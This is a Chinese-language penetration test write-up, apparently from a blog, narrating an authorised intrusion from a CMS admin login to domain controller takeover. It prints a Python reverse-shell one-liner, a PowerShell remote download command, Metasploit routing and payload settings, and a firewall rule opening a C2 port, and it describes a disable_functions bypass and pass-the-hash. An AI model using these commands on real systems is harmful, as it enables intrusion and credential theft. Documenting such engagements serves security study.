作者:吴盛雪佩儒政义 | 来源:互联网 | 2023-08-04 08:08
前言说来话长, 在一个月黑风高的晚上,突然接到一个渗透任务,貌似还挺急,在客户充分授权的情况下,便连夜进行测试。由于本次渗透时间紧任务重,以拿权限为主,信息收集时需要格外仔细,端口、C段、指纹、路径
![](https://img8.php1.cn/3cdc5/18414/5a0/255b9f75e3a6ae23.jpeg)
前言
说来话长, 在一个月黑风高的晚上,突然接到一个渗透任务,貌似还挺急,在客户充分授权的情况下,便连夜进行测试。
![](https://img8.php1.cn/3cdc5/18414/5a0/d95e36613e4be7a8.png)
由于本次渗透时间紧任务重,以拿权限为主,信息收集时需要格外仔细,端口、C段、指纹、路径、fofa、目录、github、网盘等等,有关信息进行收集,当然了403,404,nginx等页面也是屡见不鲜了,故事的开始要从一个403页面开始,也许在坚硬的403下,当你一层一层剥开他的目录的时候,你会发现意想不到的惊喜。不多废话,直接正文
正文
开局一个403,后面目录全靠扫,不要问我为什么是这个403,我只能说直觉告诉我这个页面并不简单。
![](https://img8.php1.cn/3cdc5/18414/5a0/af7a39aa17388630.png)
目录扫描
发现admin目录。
![](https://img8.php1.cn/3cdc5/18414/5a0/28e2726308b6463d.png)
访问admin目录,发现是一个后台登录页面,
![](https://img8.php1.cn/3cdc5/18414/5a0/62c54b62bbf80959.png)
先收集一下信息,利用whatweb来收集指纹信息,看一看有没有已知漏洞,不过很遗憾没有查到已知漏洞,而且这个cms还是最新版本
![](https://img8.php1.cn/3cdc5/18414/5a0/0f3a20c4519cb13b.png)
回来看一下还没有验证码,看来可以来一波弱口令爆破,果断上字典撸它一波,很遗憾,没有爆出来,
![](https://img8.php1.cn/3cdc5/18414/5a0/1b6e18be6b7c51d4.png)
根据客户信息,搜集一波,尝试利用收集到的人名信息配合弱口令生成一个新的字典。
![](https://img8.php1.cn/3cdc5/18414/5a0/2b93d1d9a9c908d0.png)
运气不错,原来密码是名字+键盘密码
![](https://img8.php1.cn/3cdc5/18414/5a0/a7374660342ca6c5.png)
进入后台先看看有啥能利用的功能点
![](https://img8.php1.cn/3cdc5/18414/5a0/3ee94826f477dc83.png)
编辑栏目处,发现一个可以文件上传的点。
![](https://img8.php1.cn/3cdc5/18414/5a0/52979a2a29c23f43.png)
先上传一波正常文件,访问,一切正常。
![](https://img8.php1.cn/3cdc5/18414/5a0/a89c1e1f249b3d71.png)
换成一句话,上传php,很可惜,有一定的限制,没有成功,尝试了各种方法,双写,大小写,垃圾字符,截断,换行,双filename等等,很遗憾,通通失败。
![](https://img8.php1.cn/3cdc5/18414/5a0/0f7d3f7ef2110557.png)
其他地方也没什么发现,此时一度陷入僵局,既然知道用的什么cms了,本地搭建环境,代码审计看看有没有什么可利用的漏洞。
代码审计
发现备份数据的地方可以执行sql语句。
文件位置app->system->databack->admin->index.class.php的581行是关键地方。
![](https://img8.php1.cn/3cdc5/18414/5a0/816f08d92696adf8.png)
这里先获取path路径。
![](https://img8.php1.cn/3cdc5/18414/5a0/c4a52322c538b61f.png)
![](https://img8.php1.cn/3cdc5/18414/5a0/3602e563bef197fc.png)
此处解析上传的恶意sql文件,此处$sql为我们的恶意sql语句,经过了一处正则匹配,然而并没什么用。
![](https://img8.php1.cn/3cdc5/18414/5a0/f9c1404e166fe74a.png)
![](https://img8.php1.cn/3cdc5/18414/5a0/3aa144f3ab441439.png)
从$sql=$trasfer->getQuery($sql)开始一行一行执行我们的sql语句直至完成操作。
![](https://img8.php1.cn/3cdc5/18414/5a0/16e1228e011d197d.png)
![](https://img8.php1.cn/3cdc5/18414/5a0/b146bffd0d4d648b.png)
但是利用SQL语句写shell,需要知道绝对路径和高权限,不管那么多,先去找找绝对路径,万一这个点可以利用岂不是美滋滋。
Getshell
返回目标寻找绝对路径,在翻js时,由于目标明确直接搜索path关键字找到了我所需要的东西。
![](https://img8.php1.cn/3cdc5/18414/5a0/d268f3787310b6d6.png)
接下就是去构造一个SQL文件写入小马。
![](https://img8.php1.cn/3cdc5/18414/5a0/74a21b51a8222d45.png)
执行导入,写入小马,这里用一句话上传了冰蝎,连接
![](https://img8.php1.cn/3cdc5/18414/5a0/59e81d47df68a2ed.png)
一切都这么顺理成章,简直就是上帝的宠儿。然而现实它狠狠的给了我一巴掌
![](https://img8.php1.cn/3cdc5/18414/5a0/74b0460102ef3ab5.png)
![](https://img8.php1.cn/3cdc5/18414/5a0/9f127e1aee476153.png)
发现不能执行命令,无法执行命令的 webshell 是毫无意义的,查看phpinfo
![](https://img8.php1.cn/3cdc5/18414/5a0/aa515b2f1838b104.png)
禁用函数:
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru
发现没有禁用putenv,尝试Bypass disable_functions,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 .so,达到执行系统命令的效果。php文件是需要上传到目标的执行命令的脚本.so是编译后的bypass_disablefunc_x64.so
![](https://img8.php1.cn/3cdc5/18414/5a0/2f72a89f0c2bb4d7.png)
基本原理
在 Linux 中已安装并启用 sendmail 程序。php 的 mail() 函数在执行过程中会默认调用系统程序 /usr/sbin/sendmail,而 /usr/sbin/sendmail 会调用 getuid()。通过 LD_PRELOAD 的方式来劫持 getuid(),再用 mail() 函数来触发 sendmail 程序进而执行被劫持的 getuid(),从而就能执行恶意代码了。
![](https://img8.php1.cn/3cdc5/18414/5a0/d649f8bd9b0ee4b7.png)
好了, LD_PRELOAD 突破 disable_functions 的唯一条件,PHP 支持putenv()、mail() 即可。
内网初探:
为了方便,用python先弹一个shell回来
python -c
'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("xxx.xxx.xxx.xxx",port));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);'
![](https://img8.php1.cn/3cdc5/18414/5a0/0a5c348f4e3063d0.png)
接下来上msf,既然可以执行命令了,那就python起一个http 然后wget下来一个elf,生成木马 。
![](https://img8.php1.cn/3cdc5/18414/5a0/940cc3112e3e091d.png)
Msf起监听,并执行弹shell,由于忘记截图,只剩下添加路由处
![](https://img8.php1.cn/3cdc5/18414/5a0/24cb64b89ba3474b.png)
meterpreter > run get_local_subnets //获取当前机器的所有网段信息
meterpreter > run autoroute -s xxx.xxx.xxx.xxx/24 //添加目标内网0网段的路由,CIDR格式添加
meterpreter > run autoroute -p //打印当前添加的路由表信息
扫描一下同网段机器,数量较多这里只截取一部分。
![](https://img8.php1.cn/3cdc5/18414/5a0/6c650cc8507e014d.png)
![](https://img8.php1.cn/3cdc5/18414/5a0/75d679499672077a.png)
![](https://img8.php1.cn/3cdc5/18414/5a0/d34275cd09484d30.png)
![](https://img8.php1.cn/3cdc5/18414/5a0/15a760873c544642.png)
进入内网,按照惯例先来一波ms17-010开路看看,发现一台存在漏洞,就在我认为可以顺利拿下shell的时候,我发现事情并不简单,利用msf的exp模块没有成功,由于没有成功这个点暂时搁置,去看看其他机器有没有什么可利用的服务,回到webshell上做信息收集发现了数据库文件。
![](https://img8.php1.cn/3cdc5/18414/5a0/9e309d4c7d99496b.png)
尝试连接,结果连接失败。
![]()
![](https://img8.php1.cn/3cdc5/18414/5a0/8cdc8b710a918a6e.png)
在其他机器上的web,弱口令进到后台,也没什么可利用点。
![](https://img8.php1.cn/3cdc5/18414/5a0/b12378bc8bb60f56.png)
此时已是凌晨1点多,一度陷入僵持状态,就在我打算洗洗睡了的时候,突然想起一开始的ms17-010,既然不能直接反弹shell回来,那我去接入它试一试,说干就干,更换payload。
msf> set payload windows/x86/shell/bind_tcp
在打一遍,在我反复尝试之后,终于有一次成功了。
![](https://img8.php1.cn/3cdc5/18414/5a0/47129b6916635dfa.png)
接下来就是上cs,依然python在服务器起一个http服务,利用powershell下载。
![](https://img8.php1.cn/3cdc5/18414/5a0/63ff0db97036cd57.png)
这里执行之后直接卡死了。。。所以退出之后,又重新再来一遍,重新执行下载。
Powershell.exe“(new-object System.Net.WebClient).DownloadFile(‘http://xxx.xxx.xxx.xxx:port’,’C:Windowssystem32’)”
看到接到请求。
![](https://img8.php1.cn/3cdc5/18414/5a0/9b6b8810a83ee847.png)
期间又经历了几次掉线之后,终于又上线了。
![](https://img8.php1.cn/3cdc5/18414/5a0/85df8f12f4721ee7.png)
成功上线,老套路抓密码看一下,由于这里没有抓到明文只抓到了hash。
![](https://img8.php1.cn/3cdc5/18414/5a0/23e5966621e1ac5e.png)
所以利用pth尝试其他windows主机,看看能否也一起拿下。
![](https://img8.php1.cn/3cdc5/18414/5a0/0d55c1de8c7365e1.png)
拿下其他4台windows,同样的步骤,抓密码翻文件。
![](https://img8.php1.cn/3cdc5/18414/5a0/03da046423a1dd22.png)
在其中一台机器中找到一个文件,里面记录这一台同网段的weblogic的IP,不管那么多先去看看weblogic,发现现在这个IP上没有服务,而且刚才没有扫出来7001,难道是转移IP了?抱着试一试的心态重新扫了一下同网段的7001端口,果然换了一个新的IP,访问内网web7001端口。
![](https://img8.php1.cn/3cdc5/18414/5a0/65bce178c5283d36.png)
前面已经做过socks代理了,利用Proxifier连接,可以直接访问。
既然知道是weblogic,当然是用现有漏洞打一下。
![](https://img8.php1.cn/3cdc5/18414/5a0/c4719a8ca47789c9.png)
通过cve-2019-2725拿到shell。
![](https://img8.php1.cn/3cdc5/18414/5a0/3ca4b7a103b26701.png)
信息收集,发现是个双网卡机器。
![](https://img8.php1.cn/3cdc5/18414/5a0/9163b71acf100809.png)
![](https://img8.php1.cn/3cdc5/18414/5a0/13e12b6919d8ef5e.png)
在weblogic上做代理,然后收集10段端口服务信息,发现其中几台机器开着3389,这里将weblogic的shell联动给msf,利用msf的cve-2019-0708模块,试着打了一下0708。
![](https://img8.php1.cn/3cdc5/18414/5a0/9be648bf71d91f44.png)
成功拿下第一台10段的机器,由于这台机器不能出网,只能利用中间weblogic作为跳板,生成一个cs木马,监听地址和端口为weblogic的ip和端口,利用msf上传上去,运行。
这里踩了个坑,反弹给weblogic时一直接不到shell,最后看了半天感觉是防火墙的原因,手动配置防火墙规则。
防火墙规则命令。
netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=TCP localport=6666
成功接到反弹的shell
![](https://img8.php1.cn/3cdc5/18414/5a0/e34c970f901a522c.png)
继续在新的机器上做信息收集,利用ipconfig /all判断是否存在域,net time /domain,此命令如果报错为5,则存在域但是该用户不是域用户。
常用的信息收集命令:
net view /domain,ipconfig /all,net time /domain,net view /domain:域名, nltest /DCLIST:域名,wmic useraccount get /all,net group “domain admins” /domain等,
发现存在域
,利用ipconfig /all和nslookup(利用nslookup解析域名的ip,判断dns服务器和域控是不是在同一台主机上)查到了域控的IP,既然存在域第一选择当然是看看有没有14-068这个洞,如果有的话岂不是美滋滋,然而并没有,老套路抓密码。
![](https://img8.php1.cn/3cdc5/18414/5a0/da0425477d30e8d2.png)
![](https://img8.php1.cn/3cdc5/18414/5a0/6d260970dba10fba.png)
扫描同网段ip端口先扫445看看。
![](https://img8.php1.cn/3cdc5/18414/5a0/b2d42f2e2ae5c00a.png)
建立一个smb隧道。
![](https://img8.php1.cn/3cdc5/18414/5a0/47228640c1cc830e.png)
利用得到密码psexec哈希传递,获取其他机器的权限然后反复循环上面信息收集抓取密码翻文件,就这样又过去了两个小时,终于在其中的一台机上,抓到域管密码,登录域控。
![](https://img8.php1.cn/3cdc5/18414/5a0/925079054906a869.png)
![](https://img8.php1.cn/3cdc5/18414/5a0/3d536b4bb38edb6a.png)
小结
本次渗透虽不算艰难险阻但也并非一帆风顺,中间一度陷入僵局, 但最后还是达到了预期目标,整个过程大概花了将近2天的时间,都是一些常规操作。某位师傅说过,渗透的本质就是信息收集,信息收集贯穿了整个渗透流程,同时自己也学到了一些东西。